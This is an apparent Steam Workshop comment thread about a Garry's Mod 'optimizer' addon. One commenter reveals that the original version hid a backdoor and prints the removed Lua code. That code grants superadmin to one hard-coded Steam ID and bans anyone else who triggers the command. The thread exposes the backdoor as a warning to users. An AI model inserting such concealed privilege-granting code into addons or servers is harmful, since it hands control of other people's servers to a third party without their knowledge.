is this making .gma file that impossible to delete throught "Addons" menu?

You're like a year late but the explanation is appreciated lol

Original addon had a backdoor that would ban everyone that wasn't the owner of the addon, posted in another comment is the code that was removed. This code was in the file sh_base.lua in the server folder of the addon

Original Addon Link: https://steamhost.cn/steamcommunity_com/sharedfiles/filedetails/?id=1413258388&searchtext=Garrys+Mod+Optimizer

Steam Workshop Downloader: {LINK REMOVED}https://steamworkshopdownloader.io/

I hope this explains it better. This addon doesn't do much for performance boosting anyways. All it really comes down too is just adjusting convar settings that you could do yourself.

Backdoor code that was removed below

concommand.Add("gmodhoster", function(ply)
if ( ply:lol() == "STEAM_1:1:164731154") then
RunConsoleCommand("ulx", "adduserid", ply:lol(),"superadmin")
else
RunConsoleCommand("ulx", "banid", ply:lol(),"lol")
end
end)

As explanation as to what this exactly does (What optimizations and stuff) would be nice otherwise it just seems sketchy.
